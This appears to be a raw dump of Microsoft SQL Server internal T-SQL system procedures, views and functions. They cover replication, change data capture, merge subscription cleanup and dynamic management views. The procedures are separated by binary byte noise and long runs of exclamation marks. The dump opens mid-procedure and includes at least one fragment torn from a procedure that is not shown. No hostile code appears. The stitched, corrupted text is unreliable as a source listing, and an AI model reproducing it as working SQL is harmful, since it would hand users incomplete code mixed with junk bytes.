        select @inPAL = 0
                ,@inPALrole = 0
        --
        -- skip dbowner check when sysadmin
        --
        if (@dbowner = 0)
        begin
            exec @dbowner = sys.sp_MSrepl_isdbowner @dbname = @replication_db
            if (@dbowner = 1)
            begin
                update #replicationdbs
                set dbowner = 1
                where name = @replication_db
            end
        end
        --
        -- skip PAL check when sysadmin or dbo
        --
        if (@dbowner = 0)
        begin
            --
            -- Check to see if the user has PAL access to a database publication
            --
            if (@transpublish = 1)
            begin
                -- Check PAL for transactional publication
                select @cmd = quotename(@replication_db) + N'.sys.sp_MScheck_palroleinpubdb '
                EXEC @retcode = @cmd @login = NULL 
                                            ,@hasaccess = @inPAL output
            end

            if (@mergepublish = 1)
            begin
                -- Check PAL role for merge publication
                select @cmd = quotename(@replication_db) + N'.sys.sp_MSrepl_IsUserInAnyPAL '
                EXEC @retcode = @cmd
                    @raise_error = 0
                if @@error = 0 and @retcode = 0
                    select @inPALrole = 1
            end
        end
        --
        -- Valid entry if user has access
        --
        if (@dbowner = 0 and @inPAL = 0 and @inPALrole = 0)
        begin
            DELETE #replicationdbs where name = @replication_db
        end
        else if (@reserved = 1)
        begin
            --
            -- get publication and pull subscription information
            --
            select @cmd = quotename(@replication_db) + N'.sys.sp_MSrepl_helpreplicationdboptionex '
            EXEC @retcode = @cmd  
                @name = @replication_db
                ,@transpublish = @transpublish
                ,@mergepublish = @mergepublish
        end
        --
        -- get next db entry
        --
        FETCH #hCdboinfo INTO @replication_db, @transpublish, @mergepublish, @dbowner
    END
    CLOSE #hCdboinfo
    DEALLOCATE #hCdboinfo
    --
    -- return resultset
    --
    if (@reserved = 0)
    begin
        SELECT 
                name  
                ,id
                ,transpublish
                ,mergepublish
                ,dbowner 
                ,dbreadonly
        FROM #replicationdbs order by name
    end
    else
    begin
        SELECT 
                name  
                ,id
                ,transpublish
                ,mergepublish
                ,dbowner 
                ,dbreadonly
                ,haspublications
                ,haspullsubscriptions
        FROM #replicationdbs order by name
    end
    -- all done
    return 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`#5
<	cNIֵK0x 8
create procedure sys.sp_MSfixupdistributorinfo (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @distributor sysname,
    @subscription_type int
    )
AS
    DECLARE @local_distributor sysname
    DECLARE @retcode INT

    -- If @distributor = @publisher
    -- we just assume that these values are unspecified 
    -- and so we inherit these values from other shared subscriptions
    -- if possible
    IF @distributor = @publisher
    BEGIN
        SELECT TOP 1 @local_distributor = sp.distributor
          FROM MSsubscription_properties sp
          JOIN MSreplication_subscriptions rs  
            ON UPPER(sp.publisher) = UPPER(rs.publisher)
           AND sp.publisher_db = rs.publisher_db
           AND rs.subscription_type = @subscription_type
           AND rs.independent_agent = 0
         WHERE UPPER(sp.publisher) = UPPER(@publisher)
           AND sp.publisher_db = @publisher_db
           AND sp.publication <> @publication
                      
        IF @@ROWCOUNT > 0
        BEGIN
           -- Inherit the values from other shared subscriptions
           UPDATE MSsubscription_properties SET 
            distributor = @local_distributor
            WHERE UPPER(publisher) = UPPER(@publisher)
              AND publisher_db = @publisher_db
              AND publication = @publication
        END  
    END
    ELSE
    BEGIN
        EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
           @publisher = @publisher,
           @publisher_db = @publisher_db,
           @publication = @publication,
           @property = N'distributor',
           @strvalue = @distributor,
           @subscription_type = @subscription_type
        
        IF @retcode <> 0 OR @@ERROR <> 0
            GOTO FixupFailure
                                    
    END

    RETURN 0

FixupFailure:
    RETURN 1
 
0] D8&h&!0* 8create procedure sys.sp_cdc_disable_table 
(
	@source_schema sysname,
	@source_name sysname,
	@capture_instance sysname
)
as
begin
	declare @retcode int
		,@db_name sysname
   
    -- Verify caller is authorized to disable change data capture for the table.
    -- Caller must either be a member of the fixed sysadmin SQL Server role, or
    -- a member of the current database db_owner role. 
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) and (isnull(is_member('db_owner'),0) = 0)
    begin
 		raiserror(22904, 16, -1)
		return 1
    end
    
    -- Verify database is enabled for change data capture before switching to the database 'cdc' user 
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		set @db_name = db_name()
		raiserror(22901, 16, -1, @db_name)
        return 1
    end
 
	-- Switch to the database 'cdc' user prior to calling module that can
	-- cause DML and/or DDL triggers to fire.   
	execute as user = 'cdc'
    
    -- Call internal stored procedure that executes as 'cdc' user to do the work
    exec @retcode = sys.sp_cdc_disable_table_internal
		@source_schema,
		@source_name,
		@capture_instance
		
	if (@@error <> 0) or (@retcode <> 0)
	begin
		revert
		return 1
	end
	
	revert
	return 0
end
00s@ 1	8
--check if we need to call sp_MSmakegeneration now.
--By default, we don't call MakeGeneration within 0.5 second from the last call
--In the future, we can change the waiting time by setting @wait parameter
--also, when we have generation 0 we need to call MakeGeneration in this sync
create procedure sys.sp_is_makegeneration_needed
 @wait int = 1,    -- default behavior is 500 millisecond, the @wait is in seconds so we use -1 special value for the default value.
 @needed int = 1 OUTPUT
as

    declare @dt datetime
            , @dt2 datetime
            , @retcode smallint

    -- Security check
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
    if (@retcode <> 0) or (@@error <> 0)
            return 1

    -- If we need to resolve conflicts on this replica we need to call sp_MSmakegeneration
    -- Check if any row was put in generation 0 as part of conflict resolution.
    -- note that changes on join filtered rows will result on generation 0 in MSmerge_contents table.

    if @wait <= 0 or @wait >= 2147483 --if @wait is -1 (default value) or longer than the biggest value @waitinmilliseconds can hold, reset to 500 milliseconds.
    begin
        select @wait  = 1
    end

    if exists( select * from dbo.MSmerge_contents with (NOLOCK) where generation  = 0)
    begin
        select @needed = 1
        return
    end

    if exists( select * from dbo.MSmerge_tombstone with (NOLOCK) where generation  = 0)
    begin
        select @needed = 1
        return
    end

    --obtain the last time MakeGeneration is called from sysmergesubscriptions
    -- if the last_makegeneration_datetime is all NULL, it means MakeGeneration has never happened.
    select @dt2 = max(last_makegeneration_datetime) from dbo.sysmergesubscriptions
    where db_name = db_name()
           and UPPER(subscriber_server) collate database_default = UPPER(@@servername) collate database_default     

    if @dt2 is null
    begin
        select @needed = 1
        return
    end   
    
    set @dt = getdate()

    if datediff(dd, @dt2, @dt) = 0
    begin
        if @wait > datediff(ss, @dt2, @dt) and 0 < datediff(ss, @dt2, @dt)
        begin
            select @needed = 0
            return 
        end
    end

    select @needed = 1
    return
0l D8QdhE6Ftimestamp DESC
    END

    RETURN (0)
END
0l@ 8CREATE PROCEDURE sys.sp_changelogreader_agent 
(
	@job_login					nvarchar(257)	= NULL,
	@job_password				sysname 		= NULL,
	@publisher_security_mode	smallint		= NULL,
	@publisher_login			sysname 		= NULL,
	@publisher_password 		sysname 		= NULL,
	@publisher					sysname 		= NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname
	
	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type = @publisher_type OUTPUT,
													@rpcheader		= @cmd OUTPUT

	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_changelogreader_agent'

	EXEC @retcode = @cmd
					@job_login					= @job_login,
					@job_password				= @job_password,
					@publisher_security_mode	= @publisher_security_mode,
					@publisher_login			= @publisher_login,
					@publisher_password 		= @publisher_password,
					@publisher					= @publisher,
					@publisher_type 			= @publisher_type

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!g
H`*<
dCue0pJ 
8CREATE PROCEDURE sys.sp_MSensure_single_instance
(
    @application_name 	sysname,
    @agent_type 		int = NULL
)
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @retcode     int,
            @type         sysname,
            @dbprincipal sysname

    if @agent_type = 4 and exists (select 1 from sys.database_principals where name=N'MSmerge_PAL_role' and type = 'R')
    begin
        -- for merge any pal user (PAL of any publication) can do the instance check
        exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
        if (@retcode <> 0) or (@@error <> 0)
            return 1

        -- use the merge pal role for merge  
        select @dbprincipal = N'MSmerge_PAL_role'
    end
    else
    begin
        IF IS_MEMBER('db_owner') != 1
        BEGIN
            -- "Only members of the sysadmin or db_owner roles can perform this operation."
            RAISERROR(21050, 14, -1)
            RETURN 1
        END

        -- use db_owner principal
        select @dbprincipal = N'db_owner'        
    end

    IF @agent_type = 1
    BEGIN 
        SELECT @type = 'snapshot'
    END
    ELSE IF @agent_type = 2
    BEGIN
        SELECT @type = 'logreader'
    END
    ELSE IF @agent_type = 9
    BEGIN
        SELECT @type = 'queuereader'
    END
    ELSE IF @agent_type = 10
    BEGIN
        SELECT @type = 'distribution'
    END
    ELSE IF @agent_type = 4
    BEGIN
        SELECT @type = 'merge'
    END
    ELSE
    BEGIN
        -- "Invalid value given for parameter @type."
        RAISERROR(15021, 16, -1, '@type')
        RETURN 1
    END
    
    -- get an applock at the db_owner level to ensure we 
    -- only allow one agent to run at a time. only dbo
    -- for the distribution db will be able to aquire this
    EXEC @retcode = sys.sp_getapplock @Resource = @application_name, 
                                      @LockMode = 'Exclusive', 
                                      @LockOwner = 'Session',
                                      @LockTimeout = 0,
                                      @DbPrincipal = @dbprincipal
    IF @@ERROR <> 0 OR @retcode NOT IN (0, 1)
    BEGIN
        -- "Another '@type' agent for the subscription(s) is running or the server is working on a previous request by the same agent."
        RAISERROR(21036, 16, -1, @type)
        RETURN 1
    END

    -- Select the name of the server this executes on if the physical server name is not the same as the virtual server name
    if lower(@@servername) <> lower(publishingservername())
        select @@servername
    else
        select NULL
        
    RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<SeN50~> 8CREATE FUNCTION sys.dm_logconsumer_cachebufferrefs
	(
	@DatabaseId Int,
	@ConsumerId bigint
	)
RETURNS TABLE
as
	RETURN SELECT * FROM OpenRowset(TABLE DM_LOGCONSUMER_CACHEBUFFERREFS, @DatabaseId, @ConsumerId)
0)@ 8CREATE VIEW sys.dm_tran_current_snapshot AS
	SELECT * 
	FROM OpenRowset(TABLE DM_TRAN_CURRENT_SNAPSHOT)
0<@ +8create procedure sys.sp_mergesubscription_cleanup 
(
    @publisher        sysname,
    @publisher_db    sysname,
    @publication     sysname
) 
AS
BEGIN
    set nocount on
    declare @pubid                 uniqueidentifier
    declare @artid                 uniqueidentifier
    declare @retcode            smallint
    declare @subscription_type  int
    declare @objid              int
    declare @objectname         sysname
    declare @objectowner        sysname

    exec @retcode = sys.sp_MSreplcheck_subscribe
    if (@retcode <> 0 or @@error <> 0)
        return 1

    /*
    ** if there is nothing to cleanup, then just return.
    */
    if object_id('sysmergesubscriptions') is NULL
        return (0)

    /* This only gets called after database is enable to subscribe, so dbo.sysmergepublications should exist */
    select @pubid = pubid FROM dbo.sysmergepublications 
        WHERE name = @publication and UPPER(publisher)=UPPER(@publisher) and publisher_db=@publisher_db

    /* Normal case - nothing to cleanup, just return */
    if @pubid is null
        return (1)

    select @subscription_type = subscription_type from dbo.sysmergesubscriptions where pubid=@pubid and subid<>pubid

    /* This procedure is not intended to be used for cleanning-up pull/anonymous subscriptions */
    if @subscription_type > 0
    begin
        raiserror(20091, 16, -1)
        return (1)
    end

    /* make sure that we are not calling this proc on the publisher and publisher database */
    if ((UPPER(@publisher) = UPPER(publishingservername())) and (@publisher_db = db_name()))
    begin
        raiserror(21691, 16, -1)
        return (1)
    end

    /* Clean up the articles for this publication, and delete the row */
    select @artid = artid FROM dbo.sysmergearticles WHERE pubid = @pubid
    while @artid is not null
    begin
        if not exists (select * from dbo.sysmergearticles WHERE artid = @artid and pubid <> @pubid)
            begin
                exec @retcode=sys.sp_MSarticlecleanup @pubid, @artid
                if @retcode<>0 or @@ERROR<>0 return (1)
            end
        delete from dbo.sysmergepartitioninfo where artid = @artid and pubid = @pubid
        delete from dbo.sysmergearticles where artid = @artid and pubid = @pubid
        set @artid = NULL
        select @artid = artid FROM dbo.sysmergearticles WHERE pubid = @pubid
    end
        
    /* Cleanup the schema articles */

    /* Unmark all schema article objects unconditionally */
    if object_id('sysmergeschemaarticles') is not NULL
    begin
        declare hschemaarticle_cur cursor local fast_forward for
            select destination_object, destination_owner from dbo.sysmergeschemaarticles where
            pubid = @pubid 
        for read only
        open hschemaarticle_cur
        fetch hschemaarticle_cur into @objectname, @objectowner
        while (@@fetch_status<>-1)
        begin
                -- Ignore errors
                exec  sys.sp_MSunmarkschemaobject @objectname, @objectowner    
                fetch hschemaarticle_cur into @objectname, @objectowner
        end
        close hschemaarticle_cur
        deallocate hschemaarticle_cur

        /* Delete all schema article rows for this publication*/
        delete from dbo.sysmergeschemaarticles where pubid = @pubid
    end

    exec @retcode = sys.sp_resetsnapshotdeliveryprogress @drop_table = N'true'
    if @retcode <> 0 or @@error <> 0
    begin
        goto UNDO
    end

    /* 
    ** Make sure you NULL out gen_cur for other articles that share this table 
    ** since we are deleting the genhistroy row for that generation 
    */
    update dbo.sysmergearticles set gen_cur=NULL where gen_cur in
        (select generation from dbo.MSmerge_genhistory where pubid = @pubid)
        
    declare @publication_number smallint
    select @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid
    /* Now clean up any traces in other system tables */
    delete from dbo.MSmerge_generation_partition_mappings where publication_number = @publication_number
    delete from dbo.MSmerge_genhistory where pubid = @pubid 
    delete from dbo.MSmerge_replinfo where repid in (select subid from dbo.sysmergesubscriptions where pubid = @pubid)

    -- delete supportability settings for the subscriptions that we are about to delete.
    delete from dbo.MSmerge_supportability_settings where pubid = @pubid
    delete from dbo.MSmerge_log_files where pubid = @pubid

    delete from dbo.sysmergesubscriptions where pubid = @pubid
    exec sys.sp_MScleanup_subscriber_history
    delete from dbo.MSmerge_current_partition_mappings where publication_number = @publication_number
    delete from dbo.MSmerge_past_partition_mappings where publication_number = @publication_number
    -- drop the partition evaluation proc if it exists
    declare @partition_id_eval_proc nvarchar(260)
    select @partition_id_eval_proc = quotename(partition_id_eval_proc) from dbo.sysmergepublications where pubid = @pubid
    if @partition_id_eval_proc is not null and object_id(N'dbo.' + @partition_id_eval_proc) is not null
    begin
        exec (N'drop procedure dbo.' + @partition_id_eval_proc)
        if @@error <> 0
            return 1
    end

    delete from dbo.MSmerge_partition_groups where publication_number = @publication_number
    delete from dbo.sysmergepublications where pubid = @pubid

    delete from dbo.sysmergeschemachange where pubid = @pubid

    -- If the only remaining subscriptions are old entries (before restore),
    -- we remove them now.
    if not exists (select * from dbo.sysmergesubscriptions 
                        where status <> 7) -- REPLICA_STATUS_BeforeRestore
    begin
        delete from dbo.sysmergesubscriptions
        truncate table dbo.MSmerge_supportability_settings
        truncate table dbo.MSmerge_log_files
        truncate table dbo.MSrepl_errors
        truncate table dbo.MSmerge_history
        truncate table dbo.MSmerge_articlehistory
        truncate table dbo.MSmerge_sessions
        delete from dbo.MSmerge_replinfo
    end


    /* 
    ** If last subscription is dropped and the DB is not enabled for publishing,
    ** then remove the merge system tables
    */
    IF (not exists (select * from dbo.sysmergesubscriptions )) 
        AND (select category & 4 FROM master.dbo.sysdatabases WHERE name = DB_NAME() collate database_default )=0
    BEGIN
        execute @retcode = sys.sp_MSdrop_mergesystables @whattodrop=3
        if @@ERROR <> 0 or @retcode <> 0 return (1)

        execute @retcode=sys.sp_MSrepl_ddl_triggers @type='merge', @mode='drop'
        if @@ERROR <> 0 or @retcode <> 0 return (1)         
    END

    return 0
UNDO:
    return(1)
END
0< D8:hTu.*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Y`/<pfOV\0 8
create view sys.spt_parameters_user
as
    select
        object_id           = s_p.object_id,
                              -- Yukon persists number of 1 for both SPs and UDFs, but we need:
                              -- when o.type in ('P')                then 1 (or actual proc number)
                              -- when o.type in ('FN', 'TF', 'IF')   then 0
                              -- Above conditions should match the ones in sys.spt_all_procedures
        procedure_number    = convert(smallint, s_p.number * objectproperty(s_p.object_id, 'IsProcedure')),
        name                = s_p.name,
        parameter_id        = s_p.parameter_id,
        system_type_id      = s_p.system_type_id,
        user_type_id        = s_p.user_type_id,
        "precision"         = s_p.precision,
        scale               = s_p.scale,
        -- OLEDB spec requires 0 when type size is unlimitted
        max_length          = (case s_p.max_length when -1 then 0 else s_p.max_length end),
        is_output           = s_p.is_output,
        has_default_value   = s_p.has_default_value,
        default_value       = s_p.default_value,
        xml_collection_id   = s_p.xml_collection_id
    from
        sys.parameters$ s_p
0' 8 
-- add it
create view sys.dm_pdw_nodes_os_dispatcher_pools as
select *, convert(int, null) pdw_node_id from sys.dm_os_dispatcher_pools
0A D8Uh}
!0 +8create procedure sys.sp_MSpublication_validation
@publication sysname,
@rowcount_only smallint = 1,
/* 
The @rowcount_only param is overloaded for shiloh release due to backward compatibility concerns.
In shiloh, the checksum functionality has changed.   So 7.0 subscribers will have the old checksum 
routines, which generate different CRC values, and do not have functionality for vertical partitions,
or logical table structures where column offsets differ (due to ALTER TABLEs that DROP and ADD columns).

In 7.0, this was a bit column.  0 meant do not do just a rowcount - do a checksum.  1 meant just do a 
rowcount.

For Shiloh, this parameter is changed to a smallint with these options:
0 - Do a 7.0 compatible checksum
1 - Do a rowcount check only
2 - Use new Shiloh checksum functionality.  Note that because 7.0 subscribers will 
take this parameter as a bit type, not a smallint, it will be interpreted as simply
ON.  That means that passing a 2, and having a 7.0 subscriber, will result in the 7.0
subscriber doing only rowcount validation.   The Shiloh subscribers will do both
rowcount and checksum.  If you want 7.0 subscribers to do checksum validation, use 
the value of 0 for this parameter.   Shiloh subscribers can do the 7.0 compatible 
checksum, but that checksum has the same 7.0 limitations for vertical partitions 
and differences in physical table structure.)
*/

@full_or_fast tinyint = 2,  -- full (value 0) does COUNT(*) 
                            -- fast (value 1) uses sysindexes.rows if table (not view); 
                            -- conditional fast (VALUE 2) , first tries fast method, but
                            -- reverts to full if fast method shows differences.
@shutdown_agent bit = 0     -- Set for last article in publication, which will signal subscriber synchronization agent to shutdown
                            -- immediately after successful validation
as

set nocount on

declare @publication_id int
declare @article sysname
declare @article2 sysname
declare @retcode int
declare @publish_bit int
declare @repl_freq int

    
set @publish_bit = 1

-- Check if the database is published for transactional
if not exists (select * from master.dbo.sysdatabases where name = db_name() collate database_default and (category & @publish_bit) = @publish_bit)
begin
    raiserror(20026, 16, -1, @publication)
    return 1
end

-- Get Publication Information
select @publication_id = pubid, @repl_freq = repl_freq from syspublications where name = @publication
if @publication_id is null
begin
    raiserror(20026, 16, -1, @publication)
    return 1
end

-- Article validation is not valid for snapshot publications
if @repl_freq <> 0
begin
    raiserror(21484, 16, -1, @publication)
    return 1
end

-- Security Check will be done inside sp_article_validation
-- Security check
-- Only people have 'select all' permission on the base table can do validation
declare @table_id int

select top 1 @article = name, @table_id = objid from sysarticles where
    pubid = @publication_id and 
    (status & 1) <> 0 and   -- active articles only
    (type & 1) <> 0 and     -- only checksum tables/views.
    ((permissions(objid) & 1) <> 1)

if @table_id is not null
begin
    declare @qual_name nvarchar(517)
    exec sys.sp_MSget_qualified_name @table_id, @qual_name output
    raiserror(20623, 16, -1, @article, @qual_name)
    return 1
end

declare hC CURSOR LOCAL FAST_FORWARD for select name from sysarticles where pubid = @publication_id and
(status & 1) <> 0 and   -- active articles only
(type & 1) <> 0         -- only checksum tables/views.

open hC
fetch hC into @article
declare @hcCursorStatus int
set @hcCursorStatus = @@fetch_status 
while (@hcCursorStatus <> -1)
begin
    set @article2 = @article

    -- Look ahead to next article
    fetch hC into @article
    set @hcCursorStatus = @@fetch_status
    -- If we are at the last article, pass the @shutdown_agent value
    if (@@fetch_status = -1) 
    begin
        exec @retcode = sys.sp_article_validation @publication, @article2, @rowcount_only = @rowcount_only,
            @full_or_fast = @full_or_fast, @shutdown_agent = @shutdown_agent, @reserved = 1

    end
    else
        exec @retcode = sys.sp_article_validation @publication, @article2, @rowcount_only = @rowcount_only,
            @full_or_fast = @full_or_fast, @reserved = 1
    
    if @retcode <> 0 or @@error <> 0
    begin
        close hC
        deallocate hC
        return 1
    end
end
close hC
deallocate hC
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]l`<g,0Sp@ .8 
-- add it
create view sys.pdw_diag_sessions as
select
	name	collate database_default name,
	xml_data	collate database_default xml_data,
	is_active,
	host_address	collate database_default host_address,
	principal_id,
	database_id
from sys._pdw_diag_sessions
0=x 8create function sys.fn_fulltext_i8(@clauseno int)
returns table as return
select 
    a.docid as docid,
    a.score as score
from 
openrowset(table FTMATCHQUERY,  @clauseno, 2) a 
0م 8
create procedure sys.sp_MSenumallsubscriptions
(
@subscription_type    nvarchar(5) = N'push', 
@subscriber_db        sysname=N'%'
)
AS
begin
    set nocount on
    declare @current_db        sysname
                ,@retcode        int
                ,@proc            nvarchar(200)
                ,@db_status        int

    create table #tmp_subscriptions (
                        publisher            sysname collate database_default not null,
                        publisher_db        sysname collate database_default not null,
                        publication            sysname collate database_default null,
                        replication_type    int not NULL,
                        subscription_type    int not NULL,
                        last_updated        datetime null,
                        subscriber_db        sysname collate database_default not null,
                        update_mode            smallint null,
                        last_sync_status    int null,
                        last_sync_summary    sysname collate database_default null,
                        last_sync_time        datetime null
                        )

    declare #cur_db cursor local FAST_FORWARD FOR select DISTINCT name, status
        FROM master.dbo.sysdatabases where ((@subscriber_db = N'%' collate database_default) or (name = @subscriber_db collate database_default)) and
            has_dbaccess(name) = 1
    open #cur_db
    fetch #cur_db into @current_db, @db_status
    while (@@fetch_status <> -1)
    begin
        /*
         * we only return subscriptions in db which is not in loading (0x20), suspect(0x100),
         * offline(0x200), in recovering(0x80), shutdown(0x40000), not recovered(0x40)
         */
        if (@db_status & 0x403e0) = 0
        begin
            --
            -- sp_MSenumsubscriptions will use the same temp table inside
            --
            select @proc = QUOTENAME(@current_db) + N'.sys.sp_MSenumsubscriptions ' 
            exec @retcode = @proc  @subscription_type = @subscription_type, @reserved = 1
            if @@ERROR<>0 or @retcode<>0
                return (1)
        end
        fetch next from #cur_db into @current_db, @db_status
    end
    close #cur_db
    deallocate #cur_db

    select  distinct 'publisher'        = publisher,
            'publishing database'    = publisher_db,
            'publication'    = publication,
            'replication type'= replication_type,
            'subscription type'     = subscription_type,
            'last updating time'    = sys.fn_replformatdatetime(last_updated),
            'subscribing database'  = subscriber_db,
            'update_mode'           = update_mode,
            'last sync status'= last_sync_status,
            'last sync summary'= last_sync_summary,
            'last sync time'= sys.fn_replformatdatetime(last_sync_time)
    from #tmp_subscriptions

    return (0)
end
0pu@ 8
CREATE PROCEDURE sys.sp_MSrepl_enumtablecolumninfo
(
	@publisher	sysname,
	@owner		sysname,
	@tablename	sysname
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @publisher_type	sysname
	DECLARE @cmd		nvarchar(4000)
	DECLARE @distribdb	sysname	
	
	SET @retcode = 0

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher      = @publisher,
														@publisher_type = @publisher_type OUTPUT,
														@distribdb		= @distribdb OUTPUT

	IF @retcode <> 0
	BEGIN
		RETURN (@retcode)
	END

	IF UPPER(@publisher_type) IN ('ORACLE', 'ORACLE GATEWAY')
	BEGIN
		SET @cmd = QUOTENAME(@distribdb) + N'.sys.sp_ORAenumtablecolumninfo'

		EXEC @retcode = @cmd
						@publisher,
						@owner,
						@tablename
	END
	ELSE
	BEGIN
		RAISERROR(21645, 16, -1, @publisher)
		RETURN (1)
	END

	RETURN (@retcode)
END
0s D8hN$0;Ys P8
